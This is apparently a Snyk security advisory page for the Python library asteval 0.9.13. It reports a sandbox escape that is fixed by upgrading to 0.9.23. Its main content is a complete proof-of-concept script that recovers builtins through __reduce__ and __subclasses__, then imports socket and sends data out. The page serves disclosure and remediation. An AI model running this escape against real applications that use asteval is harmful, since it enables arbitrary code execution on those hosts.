asteval@0.9.13 vulnerabilities

Safe, minimalistic evaluator of python expression using ast module

  • latest version

    1.0.5

  • latest non vulnerable version

  • first published

    12 years ago

  • latest version published

    3 months ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the asteval package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Sandbox Escape

    asteval is a Safe, minimalistic evaluator of python expression using ast module

    Affected versions of this package are vulnerable to Sandbox Escape. It is possible to escape the asteval sandbox using reduce and reduce_ex.

    PoC

    #!/usr/bin/env python3
    # asteval "sandbox" escape PoC
    # Ross Bradley
    
    import asteval
    
    user_input = '''
    # reduce the asteval.Interpreter._printer function, returning a tuple
    red = print.__reduce__()
    print(red)
    
    # red[0] == getattr, red[1][0] == asteval.Interpreter instance)
    #  this is the crux of the issue - access to getattr breaks all security assumptions allowing us to access props we shouldn't be able to
    
    # give them nice names to make the following code a little clearer
    getattr = red[0]
    inst = red[1][0]
    
    # get the class for the asteval.Interpreter instance
    cls = getattr(inst, '__class__')
    
    # get an object instance from the class
    obj = getattr(cls, '__base__')
    subclasses = getattr(obj, '__subclasses__')
    
    # find the catch_warnings type
    cw = [c for c in subclasses() if c.__name__ == 'catch_warnings'][0]
    
    # fetch the reference to builtins from the catch_warnings type
    bi = cw()._module.__builtins__
    
    # import socket (wait, what?)
    socket = bi['__import__']('socket')
    
    # do socket things
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('localhost', 1234))
    s.send(b'arbitrary code execution')
    s.close()
    '''
    
    interpreter = asteval.Interpreter()
    interpreter.eval(user_input)
    

    How to fix Sandbox Escape?

    Upgrade asteval to version 0.9.23 or higher.

    [,0.9.23)